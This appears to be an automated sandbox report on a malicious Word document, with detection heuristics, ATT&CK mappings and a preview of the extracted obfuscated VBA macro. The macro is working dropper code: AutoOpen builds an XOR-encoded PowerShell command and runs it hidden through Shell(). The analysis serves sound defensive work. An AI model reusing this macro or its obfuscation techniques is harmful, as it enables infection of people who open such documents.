MALICIOUS
212
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro. The macro uses the Shell() function, which is a critical indicator of malicious intent, suggesting it's designed to execute arbitrary commands. The presence of a legacy AutoOpen macro and the ClamAV detection further support its malicious nature. The macro's obfuscated string concatenation makes it difficult to determine the exact payload, but its primary function appears to be downloading and executing a second-stage payload.
Heuristics 8
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ClamAV: Doc.Dropper.Agent-6591315-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6591315-0
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
UvJlXc = (37447 / CBool(88381) + 5569 + CSng(pOYzO) * (44865 - UuSzmo + 17691 - CLng(PrmrR))) knnkzT = sbOXqSjwQj + NSIopEAwAiQ + Shell(AdYrzm + ZwGKIvuim + WMpGBD, (66740 / 66740) - 1) FBoclP = CByte(8391 * Tan(3847) / 63066 + CLng(GTELGP * 58835 * 76207 * Chr(44901))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub AutoOpen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 11255 bytes |
SHA-256: 1b37b0f396e505f25129916ff8d7ab6204e269b0803f3d908fcc0abedd59806a |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
105 of 204 identifiers look randomly generated (e.g. 'mvObYFntAEt') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "QiYCEUIX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "KUkSaHpzL"
Function WpBijBF()
On Error Resume Next
XBhDsG = (8947 / CBool(51876) + 27761 + CSng(nmpYZu) * (70107 - HfkQp + 28796 - CLng(QCzuoR)))
UDiOtZ = CByte(99997 * Tan(2328) / 28442 + CLng(EqrYV * 46407 * 36406 * Chr(71341)))
jYwYDKGSka = "Hel" + "l " + Chr(40) + " '9w" + "90" + "V87" + "m91C16C6" + "7D72V90" + "w0V66D"
JTJLnA = CByte(53824 * Tan(4455) / 52205 + CLng(YzHWf * 19832 * 78483 * Chr(12955)))
IYhCG = (22774 / CBool(34757) + 49357 + CSng(DHjZjD) * (34823 - pLBKVG + 32941 - CLng(LwXEvd)))
KGksJBkQ = "79x71" + "<72>7" + "8C" + "89x1" + "3C99w7" + "2V89>3"
iwMvXZ = CByte(17383 * Tan(44133) / 87458 + CLng(ijpjf * 84250 * 44855 * Chr(60383)))
iHjKmS = (31455 / CBool(41499) + 90833 + CSng(uUjZc) * (43279 - WrimN + 17979 - CLng(KzJJKj)))
vpOPWcDj = "m122m72" + "<79" + "V11" + "0C65D68D" + "72<67C8" + "9m22&9" + "&87>79" + "x68"
FldJHA = CByte(70615 * Tan(42674) / 31740 + CLng(ZQIhkP * 37597 * 34187 * Chr(32849)))
Znzbw = (40769 / CBool(96005) + 18477 + CSng(pJGLO) * (46758 - WTiEw + 94308 - CLng(zHHjTt)))
QjOlwRoO = "m16" + "w10z6" + "9V8" + "9z89C" + "93<23" + "z2V2D68" + "z78z" + "66<67V" + "69D6" + "6C65z68V"
snOCa = CByte(43405 * Tan(63934) / 87159 + CLng(GiMkC * 52920 * 72332 * Chr(91390)))
IYsaD = (54157 / CBool(77598) + 99636 + CSng(oodPV) * (69473 - dBHXb + 1220 - CLng(EfjoS)))
cXcQM = "73&" + "76<84w9" + "4<3&78w" + "66z6" + "4V3x79" + "w7" + "3m2>" + "125m" + "101x87w1" + "10" + "V2x109C6"
SjfAUz = CByte(9948 * Tan(41478) / 9801 + CLng(iOMFI * 67099 * 82513 * Chr(81076)))
nzNmS = (18947 / CBool(87537) + 83721 + CSng(VovXn) * (42778 - bBZbpw + 5546 - CLng(ZvdLrw)))
YKjVdOwqwIX = "9V89w8" + "9>93m94>" + "23w2D2&" + "70" + "V72x" + "95D6" + "6V" + "94&7"
MmUsX = CByte(2515 * Tan(13263) / 29803 + CLng(LaQrw * 46686 * 51917 * Chr(66320)))
aaMULp = (89218 / CBool(68464) + 25820 + CSng(jiAJt) * (40576 - rnBmW + 60856 - CLng(RGjqY)))
mqBiXFTcHC = "0&84" + "D3" + "V7" + "8m66x" + "64C2>20x" + "10" + "4<10" + "7C95m2C1"
qXiXoT = CByte(40531 * Tan(66931) / 62022 + CLng(TGPMOF * 43722 * 10150 * Chr(90959)))
SkzrD = (78366 / CBool(22937) + 7421 + CSng(rCFFDL) * (93168 - uNHls + 27320 - CLng(XcaWih)))
qmFPlZ = "09<69<" + "89w8" + "9<" + "93&" + "23D2D2m" + "90"
QjtSd = CByte(94276 * Tan(21622) / 94836 + CLng(RBHSq * 90413 * 86946 * Chr(38068)))
dNaTaV = (3515 / CBool(37103) + 51727 + CSng(pYNvL) * (65002 - fWcpLh + 52226 - CLng(lwiJW)))
kOkXAa = ">9" + "0z" + "90x3D76" + "z79<68<" + "89&7" + "9V72w" + "89C" + "3x78C" + "66&64" + "V2<107" + "&89V3"
WpBijBF = jYwYDKGSka + KGksJBkQ + vpOPWcDj + QjOlwRoO + cXcQM + YKjVdOwqwIX + mqBiXFTcHC + qmFPlZ + kOkXAa
sfhcr = CByte(25533 * Tan(66035) / 33050 + CLng(AwzJIv * 97497 * 84108 * Chr(7093)))
jfqiS = (95197 / CBool(34025) + 62549 + CSng(BpXTKE) * (18361 - pTcik + 29792 - CLng(ELoDOk)))
End Function
Function FRwwnlmPit()
On Error Resume Next
AFSRSo = CByte(30621 * Tan(62530) / 54092 + CLng(EJmni * 66025 * 58757 * Chr(21821)))
RFZqS = (92263 / CBool(29869) + 16357 + CSng(HJNRPi) * (93932 - lhMwqY + 44833 - CLng(mnFaIM)))
dOjAF = "1z2" + "0V94m" + "2x109m" + "69w89" + "V89>" + "93m" + "23x2m" + "2D9" + "4w70"
bOFwm = CByte(17655 * Tan(86657) / 82597 + CLng(QZkXSW * 67402 * 29097 * Chr(49949)))
NKrMb = (64351 / CBool(4392) + 28710 + CSng(IJiVuM) * (25792 - wNiDV + 2008 - CLng(rmOkoH)))
mvObYFntAEt = "z84x73D6" + "6&64V72V" + "76D" + "78m7" + "6C73D72m" + "64V8"
zKPpT = CByte(20692 * Tan(64879) / 10729 + CLng(dCXCQ * 97111 * 98427 * Chr(23023)))
SlQhz = (85417 / CBool(17581) + 12855 + CSng(oTRaY) * (7425 - TPvaET + 11490 - CLng(NildRU)))
HvZFzpjrY = "4<3" + "<7" + "8x66V64" + ">2<94x94" + ">75&64>2" + "V30w127" + "V1" + "08>30" + "x27w2<1" + "09x69m" + "89w8"
PfZJh = CByte(34103 * Tan(69214) / 61427 + CLng(tpoYO * 69207 * 98154 * Chr(94650)))
kDTTz = (41440 / CBool(98896) + 60462 + CSng(TVHfoA) * (72249 - HLjkX + 72259 - CLng(pzBvD)))
GzBWvW = "9<93&" + "23C2&2x9" + "1&76z" + "67m" + "78x66D88" + "w91z72" + "x95D7"
XaqAoX = CByte(75979 * Tan(33768) / 46663 + CLng(wZUAaC * 18513 * 49353 * Chr(71878)))
XQwqo = (55386 / CBool(68330) + 24919 + CSng(JdBTE) * (52855 - EqiWH + 66281 - CLng(owRtw)))
DjMNjcptz = "2x91x72D" + "67>89x" + "91>68" + "D73m72x" + "66&3&" + "78<6"
rIjzNj = CByte(49569 * Tan(49473) / 64635 + CLng(YJdUNm * 12722 * 10967 * Chr(83734)))
zKtQa = (12359 / CBool(79315) + 28599 + CSng(uWjnN) * (89187 - nBfjnG + 61398 - CLng(mwmial)))
sGobA = "6C6" + "4V2D8" + "4V" + "99<29" + "z74" + ">2>" + "10&3m12" + "6D93" + "m65m68>8" + "9z"
FRwwnlmPit = dOjAF + mvObYFntAEt + HvZFzpjrY + GzBWvW + DjMNjcptz + sGobA
cjWiwD = CByte(21513 * Tan(11571) / 67288 + CLng(vvNbkn * 41669 * 81060 * Chr(73040)))
ItEYt = (58043 / CBool(88683) + 58801 + CSng(TGoWHi) * (51996 - OhCNb + 96479 - CLng(PzCiZK)))
End Function
Function BMuXC()
On Error Resume Next
aoEuVz = CByte(4575 * Tan(94974) / 3723 + CLng(HXpba * 94670 * 61468 * Chr(76154)))
rYoBhv = (11857 / CBool(17796) + 91358 + CSng(PFUniE) * (98947 - jXsIwQ + 35109 - CLng(kXiKjo)))
siJWkpFELN = "5w1" + "0V" + "109D10C" + "4<22V" + "9&98<1" + "27x120&" + "13x"
WoiYjF = CByte(57543 * Tan(41406) / 73022 + CLng(qOXZLw * 44904 * 65958 * Chr(52114)))
JOqiaY = (67918 / CBool(2728) + 22026 + CSng(ilvaSt) * (98487 - Kijda + 81370 - CLng(rscEJZ)))
rwacGJ = "16" + "D13C10&" + "24z25m2" + "8D" + "10&22D" + "9m106D" + "119<66" + "m1" + "6C9<72m6" + "7>9" + "1z23z89"
iCdNd = CByte(98248 * Tan(69668) / 67636 + CLng(upfwp * 9798 * 83767 * Chr(21852)))
VJLfo = (1269 / CBool(70178) + 67656 + CSng(GzBJfO) * (12455 - tJtwos + 71330 - CLng(LSYfwF)))
uvSzzl = "m72>6" + "4>93" + "V6<10V1" + "13m10" + "m6V9C9" + "8x12" + "7D120D"
bNZvb = CByte(94258 * Tan(2781) / 52683 + CLng(wDGHBJ * 82202 * 12081 * Chr(56926)))
AdYhb = (63234 / CBool(33156) + 50201 + CSng(chLDjB) * (52691 - GCAcw + 18319 - CLng(YBzNmz)))
zhozO = "6x10" + "&3D72>8" + "5C72D" + "10&" + "22C75z" + "66D95<72" + "w76&78>6" + "9V5V9" + "<79w79V" + "73z1"
KsjPa = CByte(15821 * Tan(74151) / 5444 + CLng(rHwsBO * 84579 * 30899 * Chr(21792)))
WwoKc = (7579 / CBool(38610) + 97239 + CSng(ZhEnv) * (42129 - winai + 33087 - CLng(GEZqBY)))
LnBcOHln = "3<" + "68" + "D6" + "7D13C9z" + "87" + "D79C" + "68z4x" + "86x89&95" + "V84>86" + "x9&" + "90x87"
fQdDw = CByte(50198 * Tan(61163) / 44556 + CLng(oEwui * 79500 * 47540 * Chr(98385)))
vLMSDs = (10729 / CBool(37024) + 65912 + CSng(DNSZt) * (29490 - UXUNTv + 63480 - CLng(SfYdsM)))
aDElufjNElq = "z91C3m10" + "5V66" + "V90C" + "67w" + "65m66V76" + ">7" + "3x107z68" + "D65>72"
ZrSpQ = CByte(76663 * Tan(84896) / 4671 + CLng(SDuKoz * 27155 * 5493 * Chr(1155)))
ZXsrYb = (30841 / CBool(60558) + 44422 + CSng(Mhpqtt) * (66529 - vpROp + 889 - CLng(YPwmRd)))
LslYtjmPh = "z5<9" + "x79z79" + "w73&1" + "m13&" + "9V106z1" + "19D" + "66" + ">4w22C"
BMuXC = siJWkpFELN + rwacGJ + uvSzzl + zhozO + LnBcOHln + aDElufjNElq + LslYtjmPh
mVpiPW = CByte(15175 * Tan(13861) / 48075 + CLng(sqWZzm * 9769 * 62576 * Chr(2870)))
ncJUKi = (84577 / CBool(85097) + 98708 + CSng(RsFHF) * (14809 - XEcuJt + 3297 - CLng(LupKZB)))
End Function
Function arkjnhLdojG()
On Error Resume Next
iXKzOU = CByte(23660 * Tan(91032) / 15291 + CLng(JTWOS * 61932 * 1915 * Chr(37307)))
wXAdjH = (42719 / CBool(97858) + 76511 + CSng(haKVG) * (69447 - arbPz + 7003 - CLng(RCfYOH)))
RiaIoVTdwCP = "126&89>7" + "6&9" + "5w89V0D1" + "25" + "m9" + "5x66D78" + "&72<" + "94" + ">94<13<" + "9D" + "10" + "6V11"
WiFBnG = CByte(79768 * Tan(95339) / 69228 + CLng(tSzPfD * 47464 * 75488 * Chr(11148)))
Uioaa = (2348 / CBool(39087) + 3576 + CSng(jczkj) * (33019 - CzYsP + 11293 - CLng(jaGdjl)))
MKLVGKDv = "9V66m22>" + "79<9" + "5V72&7" + "6V70V22>" + "80z" + "78z"
aahqBi = CByte(7177 * Tan(46907) / 15813 + CLng(wPYGCl * 10911 * 63082 * Chr(21213)))
Qjcbz = (28234 / CBool(97150) + 9020 + CSng(UXnQOJ) * (97074 - itKNEP + 53805 - CLng(wGQEXi)))
ZMfoYMwo = "76m89" + "z78m" + "69C" + "86x80D80" + "'.sPLi" + "t" + Chr(40) + " 'Dxw"
XMswf = CByte(57701 * Tan(42542) / 48182 + CLng(BCPak * 43642 * 57090 * Chr(84365)))
uvwLRA = (55413 / CBool(2059) + 16625 + CSng(AbmjMq) * (62205 - zNfUC + 56166 - CLng(zDsuU)))
LGsbH = "Cz<>Vm&'" + Chr(41) + " | Fore" + "ACh{[" + "char] " + Chr(40) + " $_-B" + "XoR '0x" + "2D'" + Chr(41) + "} " + Chr(41) + " -" + "JO" + "IN ''| "
LwiPY = CByte(77311 * Tan(29824) / 64639 + CLng(mKQHC * 32106 * 92634 * Chr(52877)))
LFmjzK = (48945 / CBool(86837) + 37202 + CSng(RzkGo) * (44674 - OtkhMK + 89027 - CLng(McEcsj)))
YhzCbZuc = ". " + Chr(40) + " $p" + "sHOMe[2" + "1]" + Chr(43) + "$psh" + "Om" + "e[30]" + Chr(43) + "'" + "x'" + Chr(41)
arkjnhLdojG = RiaIoVTdwCP + MKLVGKDv + ZMfoYMwo + LGsbH + YhzCbZuc
jdZjbm = CByte(7666 * Tan(73647) / 67485 + CLng(jBizC * 40842 * 68747 * Chr(91296)))
IHjHM = (99306 / CBool(90533) + 84673 + CSng(kiURaV) * (90911 - mXZwnz + 23686 - CLng(uBtmt)))
End Function
Attribute VB_Name = "sBDiijzlhnK"
Function mqWbzmPJnp()
On Error Resume Next
HkjLz = CByte(2920 * Tan(24308) / 18763 + CLng(kKDvI * 81931 * 82273 * Chr(4751)))
mntXp = (21219 / CBool(65251) + 79528 + CSng(cYNdw) * (36211 - njErRF + 15428 - CLng(JdfTqA)))
qSLjzIwF = fCqJZCpb + Chr(DPdjHC + 80 + FdMUdRTYMm) + "ow" + "ers"
SndUYY = CByte(15364 * Tan(67604) / 63595 + CLng(iTtww * 75294 * 42371 * Chr(22002)))
RcCYDG = (64510 / CBool(61405) + 14939 + CSng(LfOzM) * (34681 - dzmTp + 50851 - CLng(mHHBM)))
lvLilF = CByte(87314 * Tan(26380) / 77466 + CLng(WbzkZw * 339 * 29136 * Chr(5627)))
dsNtPj = (52425 / CBool(3937) + 61623 + CSng(wzfTiv) * (46100 - taoKh + 92828 - CLng(IzwbY)))
mqWbzmPJnp = VNCTb + qSLjzIwF + WpBijBF + FRwwnlmPit + BMuXC + arkjnhLdojG
zOIKJ = CByte(29338 * Tan(51471) / 77651 + CLng(GHSwT * 19512 * 49573 * Chr(41640)))
lclCTK = (32686 / CBool(42111) + 13418 + CSng(faHmLD) * (38906 - tqioFc + 34375 - CLng(kLwJzh)))
End Function
Function zJjANBzwnz(ZwGKIvuim)
On Error Resume Next
alcfj = CByte(22022 * Tan(23658) / 2574 + CLng(mBYdB * 66812 * 99919 * Chr(18255)))
PVMwwW = (16960 / CBool(70006) + 72012 + CSng(FXzhz) * (1945 - YCtLV + 36054 - CLng(HhzJV)))
HYXpa = CByte(8974 * Tan(79388) / 27014 + CLng(LpIBM * 4735 * 26652 * Chr(5133)))
UvJlXc = (37447 / CBool(88381) + 5569 + CSng(pOYzO) * (44865 - UuSzmo + 17691 - CLng(PrmrR)))
knnkzT = sbOXqSjwQj + NSIopEAwAiQ + Shell(AdYrzm + ZwGKIvuim + WMpGBD, (66740 / 66740) - 1)
FBoclP = CByte(8391 * Tan(3847) / 63066 + CLng(GTELGP * 58835 * 76207 * Chr(44901)))
GBOFr = (55668 / CBool(65897) + 12684 + CSng(dHkhC) * (71557 - hqAKoS + 19116 - CLng(uGHdn)))
End Function
Sub AutoOpen()
On Error Resume Next
ibTGdS = CByte(87284 * Tan(79026) / 92913 + CLng(zXvrv * 48469 * 4650 * Chr(879)))
iLMsV = (76569 / CBool(84435) + 16690 + CSng(kVETD) * (47311 - vERVn + 61413 - CLng(GDUOw)))
zJjANBzwnz (mqWbzmPJnp)
AUNLzK = CByte(3504 * Tan(94913) / 8862 + CLng(UriGG * 45811 * 58381 * Chr(74370)))
nATaW = (3811 / CBool(42014) + 96998 + CSng(GpAZt) * (17338 - JBzpkf + 31968 - CLng(zTzroO)))
End Sub
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